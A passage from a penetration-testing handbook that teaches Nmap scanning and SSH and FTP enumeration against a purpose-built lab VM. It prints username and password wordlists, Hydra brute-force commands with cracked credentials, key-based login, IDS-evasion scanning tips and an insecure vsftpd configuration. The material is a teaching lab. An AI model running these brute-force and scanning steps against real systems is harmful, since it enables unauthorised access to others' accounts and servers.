To learn more about this scan type visit: here
289
5/26/25, 7:47 PM
NCA's Hacking Handbook
290
5/26/25, 7:47 PM
NCA's Hacking Handbook
Port Scanning
Since in the previous section we looked at scan types, you probably noticed that by
default, Nmap scans the 1,000 most common ports on the target host. But that’s
just the beginning — Nmap gives us full control over which ports to scan, how fast
to scan them, and how to fine-tune everything from performance to stealth.
Let’s break it all down so you know how to scan specific ports, port ranges, all
ports, or even random ports — and when it makes sense to do each one.
Specifying Ports
By default, Nmap scans the top 1,000 ports for each protocol (TCP or UDP). But
what if you only want to scan a few specific ones?
•
•
•
-p 80
→ Scan only port 80 (usually HTTP).
-p 22,80,443
→ Scan multiple specific ports (SSH, HTTP, HTTPS).
-p 1-100
→ Scan a range of ports from 1 to 100.
•
(Yes, just a dash!)
→ Scan all 65,535 TCP ports.
•
-p U:53,T:21-25,80
-p-
→ Scan a mix of TCP and UDP ports.
Here: UDP port 53 (DNS) and TCP ports 21–25, 80.
Lets scan ports range from 1-400:
291
5/26/25, 7:47 PM
NCA's Hacking Handbook
❯ nmap 10.10.20.208 -p 1-400 -vv -T4 -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and
scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-24 13:01 +0545
Initiating Parallel DNS resolution of 1 host. at 13:01
Completed Parallel DNS resolution of 1 host. at 13:01, 0.01s elapsed
Initiating Connect Scan at 13:01
Scanning 10.10.20.208 [400 ports]
Discovered open port 21/tcp on 10.10.20.208
Discovered open port 80/tcp on 10.10.20.208
Discovered open port 135/tcp on 10.10.20.208
Discovered open port 53/tcp on 10.10.20.208
Completed Connect Scan at 13:01, 11.12s elapsed (400 total ports)
Nmap scan report for 10.10.20.208
Host is up, received user-set (0.23s latency).
Scanned at 2025-04-24 13:01:30 +0545 for 11s
Not shown: 396 filtered tcp ports (no-response)
PORT
STATE SERVICE REASON
21/tcp open ftp
syn-ack
53/tcp open domain syn-ack
80/tcp open http
syn-ack
135/tcp open msrpc
syn-ack
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.15 seconds
Why Scan Specific Ports?
• Faster results: Targeting only the ports you care about saves time.
• Stealthier: Scanning fewer ports means less chance of detection.
• More focused: Great when you’re hunting for a particular service (like SSH or
MySQL).
Top Ports ( --top-ports )
Nmap maintains a list of ports ranked by popularity based on real-world data.
• Example: --top-ports 100 → Scans the top 100 most commonly used ports.
292
5/26/25, 7:47 PM
NCA's Hacking Handbook
Random Port Order ( --randomize-hosts , -defeat-rst-ratelimit )
You can randomize the scan order for either hosts or ports to avoid triggering
intrusion detection systems.
• Example: nmap -p- --randomize-hosts
• Helps in evading detection and making traffic look less suspicious.
Scan UDP Ports Smartly
To scan UDP ports, you use -sU (as we covered before) along with the -p option:
❯ sudo nmap -sU -p 53,67,123 10.10.20.208 -Pn -T4
[sudo] password for rezy:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-24 13:02 +0545
Nmap scan report for 10.10.20.208
Host is up (0.17s latency).
PORT
STATE
SERVICE
53/udp open
domain
67/udp open|filtered dhcps
123/udp open|filtered ntp
Nmap done: 1 IP address (1 host up) scanned in 2.89 seconds
This will take less amount of time to complete scan than Full UDP Port Scan.
293
5/26/25, 7:47 PM
NCA's Hacking Handbook
Service Version and Script Scan
So far, we’ve looked at how to find open ports and scan them, but knowing a port is
open isn’t enough. To really understand a system, you need to know what service
is running on that port, and even better — what version of that service is there.
That’s where version detection comes in.
Detecting Service Versions with -sV
The -sV flag in Nmap tells it to go a step further after finding open ports. Instead
of just saying “Port 80 is open,” it tries to figure out exactly what’s running there —
like Apache 2.4.54, nginx 1.18.0, or maybe something custom.
❯ nmap -p 80 -sV 10.10.20.208 -Pn -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-24 13:05 +0545
Nmap scan report for 10.10.20.208
Host is up (0.24s latency).
PORT
STATE SERVICE VERSION
80/tcp open http
Microsoft IIS httpd 10.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.16 seconds
We can also add multiple ports -p 80,22 and nmap will do service version scan for
multiple ports.
How it finds the version information?
Answer is BANNER GRABBING.
For example, if it connects to port 22, it might send a basic SSH handshake to see
how the server replies. Based on the banner or behavior, it can often figure out:
294
5/26/25, 7:47 PM
NCA's Hacking Handbook
• The software (like OpenSSH),
• The version number (like 8.4),
• Sometimes even the OS (like “Ubuntu Linux”).
Please note our target is Windows and doesn't have any ssh service open on port 22.
More Example
❯ nmap -sV -p 21,22,80,443 scanme.nmap.org -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-24 13:08 +0545
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.33s latency).
Other addresses for scanme.nmap.org (not scanned):
2600:3c01::f03c:91ff:fe18:bb2f
PORT
STATE SERVICE VERSION
21/tcp closed ftp
22/tcp open
ssh
OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu
Linux; protocol 2.0)
80/tcp open
http
Apache httpd 2.4.7 ((Ubuntu))
443/tcp closed https
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.64 seconds
Here we have an overview of the scan. As mentioned, port 21 (FTP) and port 443
(HTTPS) are closed.
Since we also used the -sV option, the scan identified the service versions
running on open ports. Specifically:
• 22/tcp open — SSH: OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux;
protocol 2.0)
• 80/tcp open — HTTP: Apache httpd 2.4.7 ((Ubuntu))
This is really useful when you’re looking for vulnerable services, outdated
versions, or just trying to understand what a system is doing.
295
5/26/25, 7:47 PM
NCA's Hacking Handbook
The Nmap Scripting Engine (NSE) — -sC
and --script
Nmap doesn’t just stop at scanning. It has a powerful scripting engine built-in that
can do deep analysis, vulnerability checks, brute force, and more.
To keep things simple, there are two main ways to use Nmap scripts:
Default Scripts ( -sC )
This runs a set of safe, default scripts that are useful for most scans. Think of it
like a basic health check — it might check for things like:
• Open ports
• Service info
• Basic vulnerabilities
• OS detection add-ons
296
5/26/25, 7:47 PM
NCA's Hacking Handbook
❯ nmap -sC 10.10.20.208 -Pn -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-24 13:11 +0545
Nmap scan report for 10.10.20.208
Host is up (0.19s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT
STATE SERVICE
21/tcp
open ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
53/tcp
open domain
80/tcp
open http
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
135/tcp open msrpc
3389/tcp open ms-wbt-server
| rdp-ntlm-info:
|
Target_Name: WIN-SCAN
|
NetBIOS_Domain_Name: WIN-SCAN
|
NetBIOS_Computer_Name: WIN-SCAN
|
DNS_Domain_Name: win-scan
|
DNS_Computer_Name: win-scan
|
Product_Version: 10.0.17763
|_ System_Time: 2025-04-24T07:26:55+00:00
|_ssl-date: 2025-04-24T07:26:54+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=win-scan
| Not valid before: 2025-04-23T06:30:02
|_Not valid after: 2025-10-23T06:30:02
Nmap done: 1 IP address (1 host up) scanned in 47.97 seconds
We can also use it together with -sV like: -sVC
As you can see in the output above, the default script scan performed common
checks that we would otherwise have to do manually for specific ports—such as
checking for anonymous FTP login. In this case, we didn’t need to manually
connect to the FTP service to verify anonymous access; the scan detected it
automatically. This saves time, especially if we can identify such details during the
scanning phase. The same applies to other protocols as well.
297
5/26/25, 7:47 PM
NCA's Hacking Handbook
Custom Script Selection ( --script )
You can use the --script flag to run specific scripts or even entire categories
like vuln , auth , brute , smb , etc.
Let’s say we’re interested in FTP (File Transfer Protocol) on a target. We can find
related scripts like this:
❯ ls /usr/share/nmap/scripts/ | grep ftp
ftp-anon.nse
ftp-bounce.nse
ftp-brute.nse
ftp-libopie.nse
ftp-proftpd-backdoor.nse
ftp-syst.nse
ftp-vsftpd-backdoor.nse
ftp-vuln-cve2010-4221.nse
tftp-enum.nse
tftp-version.nse
Nmap automatically used ftp-anon.nse and ftp-syst.nse when we used the flag
-sC .
Anyways let's try to use ftp-anon using --script flag:
❯ nmap 10.10.20.208 -Pn -T4 --script=ftp-anon -p 21
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-24 13:22 +0545
Nmap scan report for 10.10.20.208
Host is up (0.31s latency).
PORT
STATE SERVICE
21/tcp open ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
Nmap done: 1 IP address (1 host up) scanned in 31.73 seconds
You can also mention multiple scripts:
298
5/26/25, 7:47 PM
NCA's Hacking Handbook
❯ nmap 10.10.20.208 -Pn -T4 --script=ftp-anon,ftp-syst -p 21
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-24 13:23 +0545
Nmap scan report for 10.10.20.208
Host is up (0.19s latency).
PORT
STATE SERVICE
21/tcp open ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
Nmap done: 1 IP address (1 host up) scanned in 31.23 seconds
We can also use script categories, like this:
❯ nmap 10.10.20.208 -Pn -T4 --script=vuln -p 21
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-24 13:24 +0545
Pre-scan script results:
| broadcast-avahi-dos:
|
Discovered hosts:
|
224.0.0.251
|
After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 10.10.20.208
Host is up (0.25s latency).
PORT
STATE SERVICE
21/tcp open ftp
Nmap done: 1 IP address (1 host up) scanned in 55.96 seconds
This will run all scripts in the vuln category and look for known vulnerabilities — it’s
a fast way to check for weaknesses.
Aggressive Scan ( -A )
Nmap has a special option called Aggressive Scan, enabled using the -A flag.
This is like telling Nmap,
299
5/26/25, 7:47 PM
NCA's Hacking Handbook
“Give me everything you can find — and fast!”
It combines several powerful features into one scan:
• OS Detection
• Version Detection ( -sV )
• Default Scripts ( -sC )
• Traceroute
That’s a lot of information from just one flag.
300
5/26/25, 7:47 PM
NCA's Hacking Handbook
❯ nmap 10.10.20.208 -A -Pn -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-24 13:26 +0545
Nmap scan report for 10.10.20.208
Host is up (0.22s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT
STATE SERVICE
VERSION
21/tcp
open ftp
FileZilla ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
53/tcp
open domain
Simple DNS Plus
80/tcp
open http
Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
135/tcp open msrpc
Microsoft Windows RPC
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=win-scan
| Not valid before: 2025-04-23T06:30:02
|_Not valid after: 2025-10-23T06:30:02
| rdp-ntlm-info:
|
Target_Name: WIN-SCAN
|
NetBIOS_Domain_Name: WIN-SCAN
|
NetBIOS_Computer_Name: WIN-SCAN
|
DNS_Domain_Name: win-scan
|
DNS_Computer_Name: win-scan
|
Product_Version: 10.0.17763
|_ System_Time: 2025-04-24T07:42:07+00:00
|_ssl-date: 2025-04-24T07:42:38+00:00; -1s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.37 seconds
It’s an all-in-one recon scan.
301
5/26/25, 7:47 PM
NCA's Hacking Handbook
Cute Outputs
Once you’ve done your scan and found juicy stuff — open ports, services,
vulnerabilities — it’s time to save it. You don’t want to scroll through history or rescan just to remember what port was open.
Nmap gives you multiple ways to save the output, depending on what format you
like: simple text, grep-friendly, XML for tools, or even all of them at once.
Save Output to a File with -oN
This saves the scan in normal text format, just like what you see in the terminal.
302
5/26/25, 7:47 PM
NCA's Hacking Handbook
303
5/26/25, 7:47 PM
NCA's Hacking Handbook
❯ nmap 10.10.20.208 -sCV -T4 -oN filename
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-24 13:31 +0545
[//..SNIP..//]
Nmap scan report for 10.10.20.208
Host is up (0.25s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT
STATE SERVICE
VERSION
21/tcp
open ftp
FileZilla ftpd
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
53/tcp
open domain
Simple DNS Plus
80/tcp
open http
Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc
Microsoft Windows RPC
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=win-scan
| Not valid before: 2025-04-23T06:30:02
|_Not valid after: 2025-10-23T06:30:02
| rdp-ntlm-info:
|
Target_Name: WIN-SCAN
|
NetBIOS_Domain_Name: WIN-SCAN
|
NetBIOS_Computer_Name: WIN-SCAN
|
DNS_Domain_Name: win-scan
|
DNS_Computer_Name: win-scan
|
Product_Version: 10.0.17763
|_ System_Time: 2025-04-24T07:47:28+00:00
|_ssl-date: 2025-04-24T07:47:59+00:00; -1s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.83 seconds
❯ cat filename
# Nmap 7.94SVN scan initiated Thu Apr 24 13:31:58 2025 as: nmap -sCV T4 -oN filename 10.10.20.208
Nmap scan report for 10.10.20.208
Host is up (0.25s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT
STATE SERVICE
VERSION
304
5/26/25, 7:47 PM
NCA's Hacking Handbook
PORT
STATE SERVICE
VERSION
21/tcp
open ftp
FileZilla ftpd
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
[//..SNIP..//]
This is perfect if you just want to read it later or share it in a report.
Grepable Format with -oG
This format is made for tools or quick searching:
❯ nmap 10.10.20.208 -sV -T4 -oG nmap-grepable-output.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-24 13:34 +0545
[//..SNIP..//]
❯ grep open nmap-grepable-output.txt
Host: 10.10.20.208 ()
Ports: 21/open/tcp//ftp//FileZilla ftpd/,
53/open/tcp//domain//Simple DNS Plus/, 80/open/tcp//http//Microsoft IIS
httpd 10.0/, 135/open/tcp//msrpc//Microsoft Windows RPC/,
3389/open/tcp//ms-wbt-server//Microsoft Terminal Services/ Ignored
State: filtered (995)
It is useful when scanning lots of IPs and need to pull out only open ports or certain
services.
XML Format with -oX
If you want to use your scan results in other tools (like Zenmap, Nmap visualizers,
or your own script), save it as XML:
❯ nmap -T4 -sV -oX scan.xml 10.10.20.208
305
5/26/25, 7:47 PM
NCA's Hacking Handbook
XML Content
XML is structured and can be parsed by automation tools or security dashboards.
Convert XML to HTML
When you save your scan using -oX or -oA , you get an XML file. That file is
structured — which means we can transform it into a nicely formatted HTML
report.
We can transform using xsltproc .
❯ sudo apt install xsltproc # Install the tool use to parse and
transform
We can then use the tool like so:
❯ xsltproc scan.xml -o scan.html
This will make scan.html file in current directory. We can open the file in browser
using:
❯ open scan.html
306
5/26/25, 7:47 PM
NCA's Hacking Handbook
All Formats at Once: -oA
Want all of the above in one go? Use -oA :
❯ nmap -sV -oA myscan 10.10.20.208
This saves:
•
•
•
myscan.nmap
(normal)
myscan.gnmap
(grepable)
myscan.xml
(XML)
Now you’ve got everything, no need to re-run the scan.
307
5/26/25, 7:47 PM
NCA's Hacking Handbook
Services Enumeration
308
5/26/25, 7:47 PM
NCA's Hacking Handbook
Introduction
Since we covered enumerating ports during network enumeration in the previous
chapter, let's now see how we can go a bit deeper and start enumerating services
running on those ports.
Just finding open ports isn't enough — we need to know what is actually running
behind those ports and how we can interact with them. That's where service
enumeration comes in. It’s the process of gathering more detailed information
about the services running on open ports — like the version, configuration, and any
shared resources or weaknesses we might be able to exploit.
In this chapter, we’ll look at some commonly encountered services during
penetration testing and CTF challenges:
• SSH (Secure Shell)
• FTP (File Transfer Protocol)
• SMB (Server Message Block)
• MySQL (Database Service)
• NFS (Network File System)
There are thousands of different network services out there, but we’re focusing on
these six for a reason:
They’re the ones you’ll most frequently encounter in real-world scenarios and
beginner-to-intermediate level CTFs. Mastering enumeration techniques for these
will give you a solid foundation. Once you're confident with these, branching out to
others becomes much easier.
Understanding how to enumerate these services can help you:
• Discover hidden files, users, or configurations
• Identify weak credentials or misconfigurations
• Gather useful info that may lead to privilege escalation or lateral movement
309
5/26/25, 7:47 PM
NCA's Hacking Handbook
Lab Setup
• Download VM File from here: CLICK ME
Once imported add following entry in /etc/hosts file:
❯ cat /etc/hosts
127.0.0.1
localhost
127.0.1.1
dev
# The following lines are desirable for IPv6 capable hosts
::1
ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
# Additional Entry
192.168.10.163 enumlikeapro.nca
Also make sure it's bridged adapter.
310
5/26/25, 7:47 PM
NCA's Hacking Handbook
SSH
SSH (Secure Shell) is a network protocol that allows secure remote access to
another computer or server over a network. It's widely used for system
administration tasks, managing servers, and even transferring files.
When configuring SSH, there are several settings that can be misconfigured,
making the server vulnerable to attacks such as brute-forcing, unauthorized login
attempts, and privilege escalation. In this guide, we’ll walk through the
misconfigurations in SSH we’ve set up on the EnumLikeAPro box to help you
understand how to enumerate and exploit these issues.
usernames.txt
311
5/26/25, 7:47 PM
NCA's Hacking Handbook
312
5/26/25, 7:47 PM
NCA's Hacking Handbook
sita
ram
gita
hari
shyam
rita
nabin
sabin
sunita
bikash
anish
sanjay
bimal
rekha
kiran
sagar
binita
dipak
pratik
anita
suman
nisha
priyanka
roshan
sarita
bishal
manoj
sunil
manisha
ramesh
sushil
kushal
ujwal
alok
sweta
nirajan
bijay
krishna
rabin
rajesh
aayush
milan
anil
bina
deepa
ranjana
ruchi
arjun
313
5/26/25, 7:47 PM
NCA's Hacking Handbook
arjun
meena
jyoti
pramod
passwords.txt
314
5/26/25, 7:47 PM
NCA's Hacking Handbook
315
5/26/25, 7:47 PM
NCA's Hacking Handbook
ram123
sita1234
nepal123
password
gita@2020
shyam@123
abcd1234
nepal2079
admin123
user@123
bikash2023
test1234
hello@123
password1
welcome123
iloveyou
sunita@123
12345678
qwerty
sabin@2020
sanjay123
bishal321
manisha_123
nabin2022
sagar#123
dipak@123
1234abcd
login2023
milan2078
anil123
meena#2020
rajesh@321
suman@1
kiran_1234
ruchi@789
deepa_2077
ujwal@111
bijay#1
toor
arjun_321
ritanepal
sushil123
manoj2020
sweta@456
ramesh2076
alok@pass
sita@nepal
ram1234
316
5/26/25, 7:47 PM
NCA's Hacking Handbook
a
3
hari!123
nirajan_22
roshan_123
jyoti2023
SSH Banner Grabbing
One of the first things you should do when enumerating SSH is to grab its version
and banner. This gives us valuable information about the SSH service running on
the target. It can reveal the SSH version, which can sometimes be exploited if the
version has known vulnerabilities.
❯ nmap -sV -p22 enumlikeapro.nca
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-10 11:51 +0545
Nmap scan report for enumlikeapro.nca (192.168.10.163)
Host is up (0.00021s latency).
PORT
STATE SERVICE VERSION
22/tcp open ssh
OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux;
protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds
This tells you what SSH version is running and if there are any known vulnerabilities
associated with it.
Banner Grabbing with Netcat (nc)
We can also use netcat or nc for banner grabbing:
❯ nc enumlikeapro.nca 22
SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
317
5/26/25, 7:47 PM
NCA's Hacking Handbook
In real-world environments, exposing too much information like this is a security
risk.
Brute-Forcing SSH Credentials
One of the main misconfigurations is enabling password authentication on SSH.
This means attackers can try to guess the password for various accounts using
brute-force methods.
Misconfiguration:
• PasswordAuthentication yes (enabled password login)
• Allow root login: The root account can also log in via SSH with a password.
Brute-Force Attack:
We can use a tool like Hydra to attempt brute-forcing various usernames and
passwords:
❯ hydra -l sita -P EnumLikeAPro/passwords.txt ssh://enumlikeapro.nca
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not
use in military or secret service organizations, or for illegal
purposes (this is non-binding, these *** ignore laws and ethics
anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-0510 11:56:37
[WARNING] Many SSH configurations limit the number of parallel tasks,
it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 50 login tries
(l:1/p:50), ~4 tries per task
[DATA] attacking ssh://enumlikeapro.nca:22/
[22][ssh] host: enumlikeapro.nca
login: sita
password: sita1234
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not
complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-0510 11:56:41
318
5/26/25, 7:47 PM
NCA's Hacking Handbook
This command uses a list of possible passwords (wordlist) and tries to brute-force
login as the sita user. Hydra will try each password and report back once it finds
a valid login.
If we don't know usernames available in the server then:
❯ hydra -L EnumLikeAPro/usernames.txt -P EnumLikeAPro/passwords.txt
ssh://enumlikeapro.nca
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not
use in military or secret service organizations, or for illegal
purposes (this is non-binding, these *** ignore laws and ethics
anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-0510 12:01:49
[WARNING] Many SSH configurations limit the number of parallel tasks,
it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I
to skip waiting)) from a previous session found, to prevent
overwriting, ./hydra.restore
-I
[DATA] max 16 tasks per 1 server, overall 16 tasks, 2601 login tries
(l:51/p:51), ~163 tries per task
[DATA] attacking ssh://enumlikeapro.nca:22/
[22][ssh] host: enumlikeapro.nca
login: sita
password: sita1234
[22][ssh] host: enumlikeapro.nca
login: gita
password: password
[STATUS] 344.00 tries/min, 344 tries in 00:01h, 2259 to do in 00:07h,
14 active
[STATUS] 287.33 tries/min, 862 tries in 00:03h, 1741 to do in 00:07h,
14 active
[STATUS] 287.86 tries/min, 2015 tries in 00:07h, 588 to do in 00:03h,
14 active
[STATUS] 286.50 tries/min, 2292 tries in 00:08h, 311 to do in 00:02h,
14 active
[STATUS] 282.78 tries/min, 2545 tries in 00:09h, 58 to do in 00:01h, 14
active
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-0510 12:11:13
This will try all combinations of usernames from usernames.txt and passwords
from passwords.txt . This is a common way of testing for weak SSH login
credentials.
319
5/26/25, 7:47 PM
NCA's Hacking Handbook
Weak/Default Credentials
In this setup, we’ve intentionally used weak or default passwords for some user
accounts. For example:
• User ram : Password ram1234
• User gita : Password password
These are weak passwords that can be easily cracked with brute-forcing tools. If
you look at the password list we created, these passwords are commonly used and
are easy for attackers to guess. Hydra bruteforce attack also found these
credentials easily. In CTFs, you would generally use wordlist such as rockyou.txt
located at:
❯ locate rockyou.txt
/usr/share/wordlist/rockyou.txt
/usr/share/wordlist/SecLists/Passwords/LeakedDatabases/rockyou.txt.tar.gz
SSH Key-Based Authentication
While passwords are a common attack vector, SSH keys offer a more secure way to
authenticate. However, we've intentionally misconfigured SSH keys by setting up a
user dev with an SSH key but no passphrase, making it easy to misuse.
You will find the private key somewhere in the file system, if you have been following
from up, you'll find it somewhere.
Misconfiguration:
• SSH key for dev with no passphrase. This allows anyone with access to the
private key to log in without any password.
320
5/26/25, 7:47 PM
NCA's Hacking Handbook
To login via SSH key-based authentication, you can try using the private key for the
dev user.
Before using id_rsa using -i flag, the id_rsa must have 600 permission.
321
5/26/25, 7:47 PM
NCA's Hacking Handbook
322
5/26/25, 7:47 PM
NCA's Hacking Handbook
❯ ssh -i ../id_rsa dev@enumlikeapro.nca
The authenticity of host 'enumlikeapro.nca (192.168.10.163)' can't be
established.
ED25519 key fingerprint is
SHA256:VRAQnljUgBF9UXWdEqM+ExCK8L0tfz+b0t92QtAmF0w.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:164: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])?
yes
Warning: Permanently added 'enumlikeapro.nca' (ED25519) to the list of
known hosts.
/ | / / ____/
|
/ | / /__ ____ ____ _/ /
/ |/ / /
/ /| |
/ |/ / _ \/ __ \/ __ `/ /
/ /| / /___/ ___ |
/ /| / __/ /_/ / /_/ / /
/_/ |_/\____/_/ |_| /_/ |_/\___/ .___/\__,_/_/
Welcome to the EnumLikeAPro SSH Service!
-- Powered by ncateam.xyz -▓▒░
▓▒░
▓▒░
▓▒░
▓▒░
Server
SSH
Contact
Warning
Logged IP
: Ubuntu 22.04.5 LTS
: OpenSSH_8.9p1
: admin@enumlikeapro.nca
: Authorized Access Only!
: $SSH_CLIENT
╔════════════════════════════════════════════════════╗
║ Unauthorized access is prohibited and monitored.
╚════════════════════════════════════════════════════╝
║
🎯
FLAG: nca{w3lc0me_2_enumlikeapro}
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-139-generic x86_64)
* Documentation:
* Management:
* Support:
https://help.ubuntu.com
https://landscape.canonical.com
https://ubuntu.com/pro
System information as of Sat May 10 06:25:01 AM UTC 2025
System load:
0.12
Usage of /:
46.4% of 11.21GB
Memory usage:
9%
Swap usage:
0%
Processes:
151
Users logged in:
1
IPv4 address for enp0s3: 192.168.10.163
IPv6 address for enp0s3: 2400:1a00:b050:201d:a00:27ff:fe91:9f64
323
5/26/25, 7:47 PM
NCA's Hacking Handbook
Expanded Security Maintenance for Applications is not enabled.
55 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
New release '24.04.2 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Sat May 10 06:05:15 2025 from 192.168.10.76
dev@enumlikeapro:~$
Root User Login
By default, most systems disable root login via SSH for security. However, in our
setup, we’ve enabled root login with a password.
Misconfiguration:
• PermitRootLogin yes: Root login is allowed via SSH.
This means, we can do:
ssh root@enumlikeapro.nca
And we should get a root shell via ssh protocol.
Your Task: Use the provided wordlists and find valid password for root user.
324
5/26/25, 7:47 PM
NCA's Hacking Handbook
FTP
FTP (File Transfer Protocol) is one of the oldest protocols still widely used for
transferring files over a network. It operates over TCP port 21 and allows clients to
upload, download, or manage files on a remote server.
How Does It Work?
• Client connects to an FTP server.
• Server authenticates the client (either with credentials or anonymously).
• Depending on permissions, the client can list, upload, download, delete, or
modify files.
Why Is FTP Still Used?
Despite being outdated and unencrypted, FTP is still used for:
• File distribution (software mirrors)
• Interfacing with legacy systems
• Automated backups and data exports
Why Pentesters Love FTP
FTP is a goldmine for attackers and red teamers because:
• It often runs with weak or default credentials
• It is commonly misconfigured
• It may expose sensitive files, credentials, or even remote shells
• Traffic is often unencrypted, making it easy to sniff credentials with tools like
Wireshark
325
5/26/25, 7:47 PM
NCA's Hacking Handbook
Make SECLISTS your FRIEND!
😍
You need to learn how to choose wordlist in any scenerio you are.
FTP Misconfigurations
Misconfigurations in FTP servers are among the most common and dangerous
security pitfalls. They often arise from default settings, poor understanding of
access controls, or simply trying to make file sharing “easier” at the cost of
security. In penetration testing, FTP misconfigurations are low-hanging fruit — a
frequent entry point for an attacker.
Lab Configuration Example ( /etc/vsftpd.conf )
anonymous_enable=YES
# Allow anonymous login (INSECURE)
local_enable=YES
# Allow local user login
write_enable=YES
# Allow writing (uploading files)
anon_upload_enable=YES
# Allow anonymous users to upload (VERY
INSECURE)
anon_mkdir_write_enable=YES # Allow anonymous directory creation
Why This Is Bad:
• No authentication barrier: Anyone can log in as "anonymous".
• Writable upload directory: Allows attackers to upload malicious files, web
shells, or tools.
• Directory traversal risks if the user isn't jailed properly.
• PII leakage: Files like creds.txt , flag.txt , payroll.csv may be exposed.
Nmap Scan
326
5/26/25, 7:47 PM
NCA's Hacking Handbook
Below is a nmap scan that I did on the lab environment we provided for ftp
enumeration:
❯ nmap enumlikeapro.nca -T4 -sCV -p 21
..SNIP..
PORT
STATE SERVICE VERSION
21/tcp open ftp
vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rwxrwxrwx
1 0
0
32 May 10 06:38 creds.txt
[NSE: writeable]
| drwxrwxrwx
2 0
0
4096 May 10 06:39 devops [NSE:
writeable]
| drwxrwxrwx
4 0
0
4096 May 10 06:39 engineering
[NSE: writeable]
| drwxrwxrwx
3 0
0
4096 May 10 06:39 finance [NSE:
writeable]
| -rwxrwxrwx
1 0
0
